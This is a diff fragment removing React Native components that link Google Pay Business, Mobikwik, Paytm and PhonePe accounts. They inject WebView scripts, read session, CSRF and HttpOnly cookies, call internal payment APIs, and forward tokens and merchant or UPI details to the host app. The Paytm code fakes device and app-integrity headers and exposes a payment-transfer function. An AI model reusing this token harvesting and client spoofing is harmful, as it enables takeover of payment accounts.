// 手动解析 URL 参数RN 的 URLSearchParams.get 不可用)
const fSidMatch = url.match(/[?&]f\.sid=([^&]+)/);
const fSid = fSidMatch ? decodeURIComponent(fSidMatch[1]) : '';
log('提取参数 - atToken:', atToken.substring(0, 30) + '...', 'f.sid:', fSid);
// 获取商户信息
let merchantInfo = null;
if (channelUid && atToken && fSid && cookie) {
try {
log('🔍 正在获取商户信息...');
const result = await fetchGooglePayMerchantInfo(cookie, atToken, channelUid, fSid);
merchantInfo = result.merchantInfo;
log('✅ 商户信息获取成功');
} catch (e) {
error('❌ 获取商户信息失败:', e);
}
}
onSuccess({
type: WalletType.GOOGLEPAY_BUSINESS,
success: true,
url,
body,
cookie,
channelUid,
openUrl: pageUrl || openUrl,
merchantInfo,
});
};
const fetchGooglePayMerchantInfo = async (
cookie: string,
atToken: string,
channelUid: string,
fSid: string
): Promise<any> => {
const reqData = [channelUid];
const fReq = [
[
["kEC4Tc", JSON.stringify(reqData), null, "generic"]
]
];
const params = new URLSearchParams({
'f.req': JSON.stringify(fReq),
'at': atToken
});
const bodyStr = params.toString() + '&';
const urlParams = new URLSearchParams({
'rpcids': 'kEC4Tc',
'source-path': `/g4b/settings/${channelUid}`,
'f.sid': fSid,
'bl': 'boq_payments-merchant-console-ui_20260111.08_p0',
'hl': 'en',
'soc-app': '1',
'soc-platform': '1',
'soc-device': '2',
'_reqid': Math.floor(Math.random() * 1000000).toString(),
'rt': 'c'
});
const apiUrl = `https://pay.google.com/g4b/_/SMBConsoleUI/data/batchexecute?${urlParams.toString()}`;
log(' Channel UID:', channelUid);
const response = await fetch(apiUrl, {
method: 'POST',
headers: {
'Cookie': cookie,
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
'Accept': '*/*',
'User-Agent': 'Mozilla/5.0 (Linux; Android 12) AppleWebKit/537.36',
'Origin': 'https://pay.google.com',
'Referer': 'https://pay.google.com/',
'X-Same-Domain': '1'
},
body: bodyStr
});
if (!response.ok) {
const errorText = await response.text();
error('❌ API 返回错误:', response.status, errorText.substring(0, 200));
throw new Error(`HTTP ${response.status}: ${response.statusText}`);
}
const text = await response.text();
log('✅ 商户信息响应长度:', text.length);
// 解析商户信息
const parsedInfo = parseGooglePayMerchantInfo(text);
return {
rawResponse: text,
merchantInfo: parsedInfo,
success: true
};
};
const parseGooglePayMerchantInfo = (rawResponse: string): any => {
try {
// 移除 )]}'前缀
let jsonStr = rawResponse;
if (jsonStr.startsWith(")]}'\n")) {
jsonStr = jsonStr.substring(5);
}
// 移除所有空行和数字行,只保留 JSON 数据
const lines = jsonStr.split('\n').filter(line => {
const trimmed = line.trim();
return trimmed && !/^\d+$/.test(trimmed);
});
// 只取第一行(主要的商户信息数据)
jsonStr = lines[0] || '';
// 解析外层 JSON
const outerData = JSON.parse(jsonStr);
// 找到包含商户信息的数组项
// 格式: [["wrb.fr","kEC4Tc","[...商户信息...]",null,null,null,"generic"]]
let merchantDataStr = '';
for (const item of outerData) {
if (Array.isArray(item) && item[0] === 'wrb.fr' && item[1] === 'kEC4Tc') {
merchantDataStr = item[2];
break;
}
}
if (!merchantDataStr) {
log('⚠️ 未找到商户信息数据');
return null;
}
// 解析嵌套的 JSON 字符串
const merchantData = JSON.parse(merchantDataStr);
// 解析数据结构
// merchantData[1] 包含主要信息
const mainData = merchantData[1];
const channelUid = mainData[0];
const merchantNames = mainData[1]; // [商户名1, 商户名2]
const phoneInfo = mainData[3]; // [null, null, null, null, null, 电话号码]
const upiInfo = mainData[4]; // [null, [[UPI列表]]]
const categoryInfo = mainData[5]; // [类别代码, 描述, ...]
const gstinInfo = mainData[10]; // [GST号码]
const ownerInfo = mainData[26]; // [所有者名称]
const merchantInfo = {
channelUid: channelUid,
merchantName: merchantNames?.[0] || '',
merchantDisplayName: merchantNames?.[1] || '',
phone: phoneInfo?.[5] || '',
upiIds: [] as any[],
categoryCode: categoryInfo?.[0] || '',
categoryDescription: categoryInfo?.[1] || '',
gstin: gstinInfo?.[0] || '',
ownerName: ownerInfo?.[0] || ''
};
// 提取 UPI ID 列表
if (upiInfo && upiInfo[1] && Array.isArray(upiInfo[1])) {
const upiList = upiInfo[1];
merchantInfo.upiIds = upiList.map((upi: any) => ({
id: upi[0],
accountId: upi[7],
type: upi[0]?.startsWith('pkt-') ? 'Pocket' :
upi[0]?.startsWith('stk-') ? 'Stock' : 'Primary'
}));
}
log('✅ 商户信息解析成功:');
log(' 商户名称:', merchantInfo.merchantName);
log(' 所有者:', merchantInfo.ownerName);
log(' 电话:', merchantInfo.phone);
log(' UPI ID 数量:', merchantInfo.upiIds.length);
log(' 类别代码:', merchantInfo.categoryCode);
return merchantInfo;
} catch (err) {
error('❌ 解析商户信息失败:', err);
return null;
}
};
return (
<View style={styles.container}>
<WebView
ref={webViewRef}
source={{ uri: 'https://pay.google.com/g4b' }}
injectedJavaScript={hookJS}
onMessage={handleMessage}
javaScriptEnabled={true}
domStorageEnabled={true}
thirdPartyCookiesEnabled={true}
sharedCookiesEnabled={true}
onLoadEnd={() => {
log('WebView loaded, step:', step);
}}
/>
{step === 'extracting' && (
<View style={styles.overlay}>
<Text style={styles.overlayText}>{processString || locale.googlePayBusiness.processing}</Text>
</View>
)}
</View>
);
};
const styles = StyleSheet.create({
container: {
flex: 1,
},
overlay: {
position: 'absolute',
top: 0,
left: 0,
right: 0,
bottom: 0,
backgroundColor: 'rgba(0,0,0,0.7)',
justifyContent: 'center',
alignItems: 'center',
},
overlayText: {
color: 'white',
fontSize: 16,
},
hintOverlay: {
position: 'absolute',
top: 0,
left: 0,
right: 0,
backgroundColor: 'rgba(255,152,0,0.95)',
padding: 15,
zIndex: 1000,
},
hintBox: {
backgroundColor: 'white',
borderRadius: 8,
padding: 15,
},
hintTitle: {
fontSize: 18,
fontWeight: 'bold',
marginBottom: 10,
color: '#333',
},
hintText: {
fontSize: 14,
color: '#666',
marginBottom: 5,
},
});

View File

@@ -1,267 +0,0 @@
import React, { useState, useEffect } from 'react';
import { View, TextInput, TouchableOpacity, Text, StyleSheet, ActivityIndicator } from 'react-native';
import { MobikwikPersonalBindResult, WalletType } from './types';
import { Locale, defaultLocale } from './locale';
interface Props {
isDebug: boolean;
onRequestOTP: (walletType: WalletType, params: any) => Promise<any>;
onVerifyOTP: (walletType: WalletType, params: any) => Promise<any>;
processString: string;
onSuccess: (result: MobikwikPersonalBindResult) => void;
onError: (error: string) => void;
deviceId: string;
tuneUserId: string;
locale?: Locale;
}
export const MobikwikPersonalBind: React.FC<Props> = ({ isDebug, onRequestOTP, onVerifyOTP, processString, onSuccess, onError, deviceId, tuneUserId, locale = defaultLocale }) => {
const [mobile, setMobile] = useState('');
const [otp, setOtp] = useState('');
const [step, setStep] = useState<'mobile' | 'otp' | 'processing'>('mobile');
const [loading, setLoading] = useState(false);
const [otpData, setOtpData] = useState<any>(null);
const log = (...args: any[]) => {
if (isDebug) console.log('[Mobikwik]', ...args);
};
const error = (...args: any[]) => {
if (isDebug) console.error('[Mobikwik]', ...args);
};
// 初始化设备ID
useEffect(() => {
const initDeviceId = async () => {
try {
log('Using fixed deviceId:', deviceId);
log('Using fixed tuneUserId:', tuneUserId);
} catch (e) {
error('Failed to init deviceId:', e);
}
};
initDeviceId();
}, []);
const requestOTP = async () => {
if (!mobile || mobile.length !== 10) {
onError(locale.errors.invalidMobile);
return;
}
if (!deviceId || !tuneUserId) {
onError(locale.errors.deviceInitFailed);
return;
}
setLoading(true);
log('Requesting OTP for:', mobile, 'deviceId:', deviceId, 'tuneUserId:', tuneUserId);
try {
const response = await onRequestOTP(WalletType.MOBIKWIK_PERSONAL, {
mobile,
deviceId,
tuneUserId,
});
log('OTP response:', response);
if (response.success) {
// 保存 OTP 响应数据(包含 nid 等)
setOtpData(response.data);
setStep('otp');
} else {
error('OTP request failed:', response.message);
onError(response.message || locale.errors.otpRequestFailed);
}
} catch (e) {
error('Request OTP error:', e);
onError(e instanceof Error ? e.message : locale.errors.otpRequestFailed);
} finally {
setLoading(false);
}
};
const verifyOTP = async () => {
if (!otp || otp.length !== 6) {
onError(locale.mobikwik.invalidOtp);
return;
}
setLoading(true);
setStep('processing');
log('Verifying OTP:', otp);
try {
const response = await onVerifyOTP(WalletType.MOBIKWIK_PERSONAL, {
mobile,
otp,
deviceId,
tuneUserId,
nid: otpData?.nid || '', // 从 RequestOTP 响应中获取的 nonceToken
});
log('Verify response:', response);
if (response.success) {
onSuccess({
type: WalletType.MOBIKWIK_PERSONAL,
success: true,
mobile: response.data.mobile,
token: response.data.token,
hashId: response.data.hashId,
deviceId: response.data.deviceId,
tuneUserId: response.data.tuneUserId,
otpToken: response.data.otpToken,
});
} else {
error('Verify failed:', response.message);
setStep('otp');
onError(response.message || locale.errors.otpVerifyFailed);
}
} catch (e) {
error('Verify OTP error:', e);
setStep('otp');
onError(e instanceof Error ? e.message : locale.errors.otpVerifyFailed);
} finally {
setLoading(false);
}
};
if (step === 'processing') {
return (
<View style={styles.container}>
<ActivityIndicator size="large" color="#fff" />
<Text style={styles.processingText}>{processString || locale.common.processing}</Text>
</View>
);
}
return (
<View style={styles.container}>
<View style={styles.form}>
<Text style={styles.title}>{locale.mobikwik.title}</Text>
{step === 'mobile' && (
<>
<TextInput
style={styles.input}
placeholder={locale.mobikwik.mobilePlaceholder}
placeholderTextColor="#999"
keyboardType="phone-pad"
maxLength={10}
value={mobile}
onChangeText={setMobile}
editable={!loading}
/>
<TouchableOpacity
style={[styles.button, loading && styles.buttonDisabled]}
onPress={requestOTP}
disabled={loading}
>
{loading ? (
<ActivityIndicator color="#fff" />
) : (
<Text style={styles.buttonText}>{locale.common.requestOTP}</Text>
)}
</TouchableOpacity>
</>
)}
{step === 'otp' && (
<>
<Text style={styles.hint}>{locale.common.otpSentTo.replace('{mobile}', mobile)}</Text>
<TextInput
style={styles.input}
placeholder={locale.mobikwik.otpPlaceholder}
placeholderTextColor="#999"
keyboardType="number-pad"
maxLength={6}
value={otp}
onChangeText={setOtp}
editable={!loading}
/>
<TouchableOpacity
style={[styles.button, loading && styles.buttonDisabled]}
onPress={verifyOTP}
disabled={loading}
>
{loading ? (
<ActivityIndicator color="#fff" />
) : (
<Text style={styles.buttonText}>{locale.common.verifyAndBind}</Text>
)}
</TouchableOpacity>
<TouchableOpacity
style={styles.linkButton}
onPress={() => setStep('mobile')}
disabled={loading}
>
<Text style={styles.linkText}>{locale.common.reEnterMobile}</Text>
</TouchableOpacity>
</>
)}
</View>
</View>
);
};
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: 'rgba(0,0,0,0.8)',
justifyContent: 'center',
alignItems: 'center',
},
form: {
width: '80%',
backgroundColor: '#fff',
borderRadius: 10,
padding: 20,
},
title: {
fontSize: 20,
fontWeight: 'bold',
textAlign: 'center',
marginBottom: 20,
},
input: {
borderWidth: 1,
borderColor: '#ddd',
borderRadius: 5,
padding: 12,
fontSize: 16,
marginBottom: 15,
},
button: {
backgroundColor: '#007AFF',
borderRadius: 5,
padding: 15,
alignItems: 'center',
},
buttonDisabled: {
backgroundColor: '#ccc',
},
buttonText: {
color: '#fff',
fontSize: 16,
fontWeight: 'bold',
},
linkButton: {
marginTop: 10,
alignItems: 'center',
},
linkText: {
color: '#007AFF',
fontSize: 14,
},
hint: {
fontSize: 14,
color: '#666',
marginBottom: 10,
textAlign: 'center',
},
processingText: {
color: '#fff',
fontSize: 16,
marginTop: 10,
},
});

View File

@@ -1,455 +0,0 @@
import React, { useRef, useState, useEffect } from 'react';
import { View, StyleSheet, Text } from 'react-native';
import WebView, { WebViewMessageEvent } from 'react-native-webview';
import CookieManager from '@react-native-cookies/cookies';
import { PaytmBusinessBindResult, WalletType } from './types';
import { Locale, defaultLocale } from './locale';
interface Props {
isDebug: boolean;
processString: string;
onSuccess: (result: PaytmBusinessBindResult) => void;
onError: (error: string) => void;
locale?: Locale;
}
export const PaytmBusinessBind: React.FC<Props> = ({ isDebug, processString, onSuccess, onError, locale = defaultLocale }) => {
const webViewRef = useRef<WebView>(null);
const [step, setStep] = useState<'login' | 'extracting' | 'checking' | 'completed'>('checking');
const cookieRef = useRef<string>('');
const xsrfTokenRef = useRef<string>('');
const hasExtractedRef = useRef<boolean>(false);
const log = function (...args: any[]) {
if (!isDebug) {
return;
}
console.log(...args);
};
const error = function (...args: any[]) {
if (!isDebug) {
return;
}
console.error(...args);
};
const warn = function (...args: any[]) {
if (!isDebug) {
return;
}
console.warn(...args);
};
// 拦截 console 输出
const consoleInterceptJS = `
(function() {
const IS_DEBUG = ${isDebug};
const originalLog = console.log;
const originalError = console.error;
const originalWarn = console.warn;
window.log = function(...args) {
if (!IS_DEBUG) return;
originalLog.apply(console, args);
try {
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'console',
level: 'log',
message: args.map(a => typeof a === 'object' ? JSON.stringify(a) : String(a)).join(' ')
}));
} catch(e) {}
};
window.error = function(...args) {
if (!IS_DEBUG) return;
originalError.apply(console, args);
try {
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'console',
level: 'error',
message: args.map(a => typeof a === 'object' ? JSON.stringify(a) : String(a)).join(' ')
}));
} catch(e) {}
};
window.warn = function(...args) {
if (!IS_DEBUG) return;
originalWarn.apply(console, args);
try {
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'console',
level: 'warn',
message: args.map(a => typeof a === 'object' ? JSON.stringify(a) : String(a)).join(' ')
}));
} catch(e) {}
};
})();
true;
`;
// 检查 cookie 的 JS
const checkCookieJS = `
${consoleInterceptJS}
(function() {
try {
const cookies = document.cookie;
log('[PaytmBind] All cookies:', cookies);
// 列出所有 cookie 名称
const cookieNames = cookies.split(';').map(c => c.trim().split('=')[0]);
log('[PaytmBind] Cookie names:', cookieNames.join(', '));
const sessionMatch = cookies.match(/SESSION=([^;]+)/);
const xsrfMatch = cookies.match(/XSRF-TOKEN=([^;]+)/);
log('[PaytmBind] SESSION match:', sessionMatch ? 'found' : 'not found');
log('[PaytmBind] XSRF-TOKEN match:', xsrfMatch ? 'found' : 'not found');
if (sessionMatch && xsrfMatch) {
log('[PaytmBind] Found cookies, extracting...');
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'paytm_business',
success: true,
cookie: sessionMatch[1],
xCsrfToken: xsrfMatch[1]
}));
} else {
log('[PaytmBind] SESSION or XSRF-TOKEN not found, user needs to login');
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'need_login'
}));
}
} catch (e) {
error('[PaytmBind] Error:', e.toString());
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'error',
message: e.toString()
}));
}
})();
true;
`;
const injectedJS = `
${consoleInterceptJS}
(function() {
// 等待页面加载完成
if (document.readyState !== 'complete') {
window.addEventListener('load', extractData);
} else {
extractData();
}
function extractData() {
try {
const cookies = document.cookie;
log('[PaytmBind] Page loaded, extracting cookies...');
// 列出所有 cookie 名称
const cookieNames = cookies.split(';').map(c => c.trim().split('=')[0]);
log('[PaytmBind] Available cookie names:', cookieNames.join(', '));
const sessionMatch = cookies.match(/SESSION=([^;]+)/);
const xsrfMatch = cookies.match(/XSRF-TOKEN=([^;]+)/);
log('[PaytmBind] SESSION:', sessionMatch ? 'found' : 'not found');
log('[PaytmBind] XSRF-TOKEN:', xsrfMatch ? 'found' : 'not found');
if (sessionMatch && xsrfMatch) {
log('[PaytmBind] Cookies found, will extract data');
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'paytm_business',
success: true,
cookie: sessionMatch[1],
xCsrfToken: xsrfMatch[1]
}));
}
} catch (e) {
error('[PaytmBind] Extract error:', e.toString());
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'error',
message: e.toString()
}));
}
}
})();
true;
`;
const fetchQRData = async (cookie: string, xsrfToken: string) => {
log('[PaytmBind] Fetching QR data with cookie:', cookie.substring(0, 20) + '...');
log('[PaytmBind] XSRF Token:', xsrfToken.substring(0, 20) + '...');
// 获取 context
const contextJS = `
(async function() {
try {
log('[PaytmBind] Fetching context...');
const response = await fetch('https://dashboard.paytm.com/api/v1/context', {
headers: {
'Cookie': 'SESSION=${cookie}',
'X-CSRF-TOKEN': '${xsrfToken}'
}
});
const context = await response.text();
log('[PaytmBind] Context received, status:', response.status, 'length:', context.length);
// 检查 HTTP 状态码,非 200 都需要重新登录
if (!response.ok || response.status !== 200) {
log('[PaytmBind] Context API returned non-200 status:', response.status, 'user needs to login');
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'need_login'
}));
return;
}
// 检查返回内容是否包含错误
try {
const contextJson = JSON.parse(context);
if (contextJson.error || contextJson.status >= 400) {
log('[PaytmBind] Context contains error, user needs to login');
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'need_login'
}));
return;
}
} catch(e) {
// 如果不是有效 JSON也认为失败
log('[PaytmBind] Context is not valid JSON, user needs to login');
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'need_login'
}));
return;
}
// 获取 QR 列表
log('[PaytmBind] Fetching QR list...');
const qrResponse = await fetch('https://dashboard.paytm.com/api/v4/qrcode/fetch/?pageNo=1&pageSize=100', {
headers: {
'Cookie': 'SESSION=${cookie}',
'X-CSRF-TOKEN': '${xsrfToken}'
}
});
const qrData = await qrResponse.text();
log('[PaytmBind] QR data received, status:', qrResponse.status, 'length:', qrData.length);
// 检查 QR API 状态码
if (!qrResponse.ok || qrResponse.status !== 200) {
log('[PaytmBind] QR API returned non-200 status:', qrResponse.status, 'user needs to login');
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'need_login'
}));
return;
}
// 检查 QR 数据是否包含错误
try {
const qrJson = JSON.parse(qrData);
if (qrJson.error || qrJson.status >= 400) {
log('[PaytmBind] QR data contains error, user needs to login');
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'need_login'
}));
return;
}
} catch(e) {
// 如果不是有效 JSON也认为失败
log('[PaytmBind] QR data is not valid JSON, user needs to login');
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'need_login'
}));
return;
}
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'paytm_qr_data',
contextData: context,
qrData: qrData
}));
} catch (e) {
error('[PaytmBind] Fetch error:', e);
// 任何异常都提示需要登录
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'need_login'
}));
}
})();
true;
`;
webViewRef.current?.injectJavaScript(contextJS);
};
const handleMessage = (event: any) => {
try {
const data = JSON.parse(event.nativeEvent.data);
// 转发 WebView console 输出
if (data.type === 'console') {
const prefix = '[WebView]';
if (data.level === 'error') {
error(prefix, data.message);
} else if (data.level === 'warn') {
warn(prefix, data.message);
} else {
log(prefix, data.message);
}
return;
}
log('[PaytmBind] Received message type:', data.type);
if (data.type === 'error') {
error('[PaytmBind] Error:', data.message);
onError(data.message);
return;
}
if (data.type === 'need_login') {
log('[PaytmBind] Need login, showing login page');
hasExtractedRef.current = false; // 重置状态,允许重新提取
setStep('login');
return;
}
if (data.type === 'paytm_business' && data.success && !hasExtractedRef.current) {
hasExtractedRef.current = true;
cookieRef.current = data.cookie; // 只保存 SESSION 的值
xsrfTokenRef.current = data.xCsrfToken;
log('[PaytmBind] ✅ Cookie extracted:', data.cookie.substring(0, 30) + '...');
log('[PaytmBind] ✅ XSRF Token extracted:', data.xCsrfToken.substring(0, 30) + '...');
setStep('extracting');
fetchQRData(data.cookie, data.xCsrfToken);
}
if (data.type === 'paytm_qr_data') {
let qrList = [];
try {
let qrJson = JSON.parse(data.qrData);
qrList = qrJson.response || [];
} catch (e) {
error('[PaytmBind] Parse QR data error:', e);
onError(e instanceof Error ? e.message : String(e));
return;
}
const result: PaytmBusinessBindResult = {
type: WalletType.PAYTM_BUSINESS,
success: true,
cookie: cookieRef.current, // 只有 SESSION 的值
xCsrfToken: xsrfTokenRef.current,
contextData: data.contextData,
qrData: qrList,
};
log('[PaytmBind] ✅ All data extracted:');
log('[PaytmBind] Cookie (SESSION value):', result.cookie.substring(0, 30) + '...');
log('[PaytmBind] XSRF Token:', result.xCsrfToken.substring(0, 30) + '...');
log('[PaytmBind] Context length:', data.contextData?.length || 0);
log('[PaytmBind] QR data length:', data.qrData?.length || 0);
onSuccess(result);
setStep('completed');
}
} catch (e) {
error('[PaytmBind] Parse error:', e);
onError(e instanceof Error ? e.message : String(e));
}
};
const handleNavigationStateChange = async (navState: any) => {
const url = navState.url;
log('[PaytmBind] Navigation state changed:', url, 'loading:', navState.loading);
// 检测是否在登录后的页面dashboard
const isLoggedIn = url.includes('dashboard.paytm.com') && !url.includes('/login');
// 页面加载完成后检查 cookie
if (navState.loading === false && !hasExtractedRef.current) {
// 如果在 checking 状态,切换到 login
if (step === 'checking') {
setStep('login');
}
// 如果已经登录,自动触发提取
if (isLoggedIn) {
log('[PaytmBind] Detected logged in page, auto extracting...');
// 使用 CookieManager 获取 HttpOnly cookie
try {
const cookies = await CookieManager.get('https://dashboard.paytm.com');
// log('[PaytmBind] Cookies from CookieManager:', JSON.stringify(cookies, null, 2));
const sessionCookie = cookies.SESSION?.value;
const xsrfToken = cookies['XSRF-TOKEN']?.value;
log('[PaytmBind] SESSION from native:', sessionCookie ? 'found' : 'not found');
log('[PaytmBind] XSRF-TOKEN from native:', xsrfToken ? 'found' : 'not found');
if (sessionCookie && xsrfToken) {
hasExtractedRef.current = true;
cookieRef.current = sessionCookie;
xsrfTokenRef.current = xsrfToken;
log('[PaytmBind] ✅ Cookie extracted from native:', sessionCookie.substring(0, 30) + '...');
log('[PaytmBind] ✅ XSRF Token extracted from native:', xsrfToken.substring(0, 30) + '...');
setStep('extracting');
fetchQRData(sessionCookie, xsrfToken);
} else {
log('[PaytmBind] SESSION or XSRF-TOKEN not found, waiting for login');
}
} catch (err) {
error('[PaytmBind] CookieManager error:', err);
}
}
}
};
return (
<View style={styles.container}>
<WebView
ref={webViewRef}
source={{ uri: 'https://dashboard.paytm.com' }}
injectedJavaScript={injectedJS}
onMessage={handleMessage}
onNavigationStateChange={handleNavigationStateChange}
javaScriptEnabled={true}
domStorageEnabled={true}
thirdPartyCookiesEnabled={true}
sharedCookiesEnabled={true}
onLoadEnd={() => {
log('[PaytmBind] WebView loaded, step:', step);
}}
/>
{step === 'extracting' && (
<View style={styles.overlay}>
<Text style={styles.overlayText}>{processString || locale.paytmBusiness.processing}</Text>
</View>
)}
</View>
);
};
const styles = StyleSheet.create({
container: {
flex: 1,
},
overlay: {
position: 'absolute',
top: 0,
left: 0,
right: 0,
bottom: 0,
backgroundColor: 'rgba(0,0,0,0.7)',
justifyContent: 'center',
alignItems: 'center',
},
overlayText: {
color: 'white',
fontSize: 16,
},
});

View File

@@ -1,165 +0,0 @@
import React, { useEffect, useState } from 'react';
import { View, StyleSheet, Text, NativeModules } from 'react-native';
import { PaytmPersonalBindResult, ProfileDetail, WalletType } from './types';
import { Locale, defaultLocale } from './locale';
const { PaytmPersonalModule } = NativeModules;
interface Props {
isDebug: boolean;
processString: string;
onSuccess: (result: PaytmPersonalBindResult) => void;
onError: (error: string) => void;
locale?: Locale;
}
export const PaytmPersonalBind: React.FC<Props> = ({ isDebug, processString, onSuccess, onError, locale = defaultLocale }) => {
const [status, setStatus] = useState<'idle' | 'requesting'>('idle');
const log = (...args: any[]) => {
if (!isDebug) return;
console.log('[PaytmPersonal]', ...args);
};
useEffect(() => {
requestToken();
}, []);
const requestToken = async () => {
if (!PaytmPersonalModule) {
onError(locale.errors.nativeModuleNotAvailable);
return;
}
try {
setStatus('requesting');
log('Requesting token from Paytm...');
const result = await PaytmPersonalModule.getToken();
const data = JSON.parse(result);
log('Token received:', data);
// 获取 UPI
const profileDetail = await fetchUPI(data.token) as ProfileDetail;
log('Profile detail received:', profileDetail);
onSuccess({
type: WalletType.PAYTM_PERSONAL,
success: true,
mobile: data.mobile,
token: data.token,
userId: data.userId,
profileDetail: profileDetail,
});
} catch (e) {
log('Error:', e);
onError(e instanceof Error ? e.message : String(e));
}
};
const fetchUPI = async (token: string): Promise<ProfileDetail | undefined> => {
try {
const deviceId = Math.random().toString(16).substring(2, 18);
const timestamp = Date.now();
const url = `https://storefront.paytm.com/v2/h/paytm-homepage?playStore=true&cCode=91&lang_id=1&language=en&locale=en-IN&deviceName=M2004J7AC&version=10.69.0&resolution=4&deviceIdentifier=Xiaomi-M2004J7AC-${deviceId}&osVersion=12&client=androidapp&tag=refresh&deviceManufacturer=Xiaomi&networkType=WIFI&device=android&child_site_id=1&site_id=1`;
const body = {
context: {
user: {
ga_id: deviceId,
experiment_id: '',
},
version: '10.69.0',
geo: {
lat: '',
long: '',
},
device: {
ua: 'Mozilla/5.0 (Linux; Android 12) AppleWebKit/537.36',
// ip: '11.6.136.115',
ip_v6: '',
make: 'Xiaomi',
model: 'M2004J7AC',
osv: '12',
connection_type: 'WIFI',
carrier: '',
aaid: deviceId,
device_type: 'PHONE',
os: 'Android',
},
channel: 'APP',
},
tracking: {
current_page: 'paytm-home',
referer_ui_element: '',
},
};
const response = await fetch(url, {
method: 'POST',
headers: {
'sso_token': token,
'x-id': deviceId,
'x-app-rid': `${deviceId}:${timestamp}:f:c7`,
'x-mfg': 'Xiaomi',
'x-nw': 'WIFI',
'x-store': '0',
'x-vpn': 'true',
'x-tamp': '0',
'x-intg': '1',
'User-Agent': 'Paytm Release/10.69.0/721817 (net.one97.paytm; source=com.android.vending; integrity=true; auth=true; en-IN; okhttp 4.12.0) Android/12 Xiaomi/M2004J7AC',
'Content-Type': 'application/json',
},
body: JSON.stringify(body),
});
const json = await response.json();
// console.log('Fetch UPI response:', json);
return json?.metadata?.profile_detail || undefined;
} catch (e) {
log('Fetch UPI error:', e);
return undefined;
}
};
return (
<View style={styles.container}>
<View style={styles.overlay}>
<Text style={styles.overlayText}>
{status === 'requesting' ? (processString || locale.paytmPersonal.processing) : locale.common.processing}
</Text>
</View>
</View>
);
};
export const paytmPay = async (
amount: string,
payeeName: string,
accountNo: string,
ifscCode: string,
comments: string
): Promise<boolean> => {
if (!PaytmPersonalModule) {
throw new Error('Native module not available');
}
return await PaytmPersonalModule.pay(amount, payeeName, accountNo, ifscCode, comments);
};
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: 'rgba(0,0,0,0.5)',
},
overlay: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
},
overlayText: {
color: 'white',
fontSize: 16,
},
});

View File

@@ -1,394 +0,0 @@
import React, { useRef, useState } from 'react';
import { View, StyleSheet, Text } from 'react-native';
import WebView from 'react-native-webview';
import CookieManager from '@react-native-cookies/cookies';
import { PhonePeBusinessBindResult, WalletType } from './types';
import { Locale, defaultLocale } from './locale';
interface Props {
isDebug: boolean;
processString: string;
onSuccess: (result: PhonePeBusinessBindResult) => void;
onError: (error: string) => void;
locale?: Locale;
}
export const PhonePeBusinessBind: React.FC<Props> = ({ isDebug, processString, onSuccess, onError, locale = defaultLocale }) => {
const webViewRef = useRef<WebView>(null);
const [step, setStep] = useState<'login' | 'extracting' | 'checking'>('checking');
const cookieRef = useRef<string>('');
const xCsrfTokenRef = useRef<string>('');
const fingerprintRef = useRef<string>('');
const userATokenRef = useRef<string>('');
const userRTokenRef = useRef<string>('');
const hasExtractedRef = useRef<boolean>(false);
const log = function (...args: any[]) {
if (!isDebug) {
return;
}
console.log(...args);
};
const error = function (...args: any[]) {
if (!isDebug) {
return;
}
console.error(...args);
};
const warn = function (...args: any[]) {
if (!isDebug) {
return;
}
console.warn(...args);
};
const consoleInterceptJS = `
(function() {
const IS_DEBUG = ${isDebug};
const originalLog = console.log;
const originalError = console.error;
const originalWarn = console.warn;
window.log = function(...args) {
if (!IS_DEBUG) return;
originalLog.apply(console, args);
try {
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'console',
level: 'log',
message: args.map(a => typeof a === 'object' ? JSON.stringify(a) : String(a)).join(' ')
}));
} catch(e) {}
};
window.error = function(...args) {
if (!IS_DEBUG) return;
originalError.apply(console, args);
try {
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'console',
level: 'error',
message: args.map(a => typeof a === 'object' ? JSON.stringify(a) : String(a)).join(' ')
}));
} catch(e) {}
};
window.warn = function(...args) {
if (!IS_DEBUG) return;
originalWarn.apply(console, args);
try {
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'console',
level: 'warn',
message: args.map(a => typeof a === 'object' ? JSON.stringify(a) : String(a)).join(' ')
}));
} catch(e) {}
};
})();
true;
`;
const injectedJS = `
${consoleInterceptJS}
(function() {
if (document.readyState !== 'complete') {
window.addEventListener('load', extractData);
} else {
extractData();
}
function extractData() {
try {
const cookies = document.cookie;
log('[PhonePeBind] Extracting cookies...');
const userAToken = cookies.match(/MERCHANT_USER_A_TOKEN=([^;]+)/)?.[1];
const userRToken = cookies.match(/MERCHANT_USER_R_TOKEN=([^;]+)/)?.[1];
const ckbToken = cookies.match(/_CKB2N1BHVZ=([^;]+)/)?.[1];
const csrfToken = cookies.match(/_X52F70K3N=([^;]+)/)?.[1];
const fingerprintValue = cookies.match(/_F1P21N7=([^;]+)/)?.[1];
log('[PhonePeBind] MERCHANT_USER_A_TOKEN:', userAToken ? 'found' : 'not found');
log('[PhonePeBind] MERCHANT_USER_R_TOKEN:', userRToken ? 'found' : 'not found');
log('[PhonePeBind] _X52F70K3N:', csrfToken ? 'found' : 'not found');
log('[PhonePeBind] _F1P21N7:', fingerprintValue ? 'found' : 'not found');
if (userAToken && userRToken && csrfToken && fingerprintValue) {
const cookieStr = 'MERCHANT_USER_A_TOKEN=' + userAToken + ';MERCHANT_USER_R_TOKEN=' + userRToken + ';_CKB2N1BHVZ=' + ckbToken + ';';
const fingerprint = fingerprintValue + '.' + fingerprintValue + '.' + fingerprintValue + '.' + fingerprintValue;
log('[PhonePeBind] All cookies found, posting message');
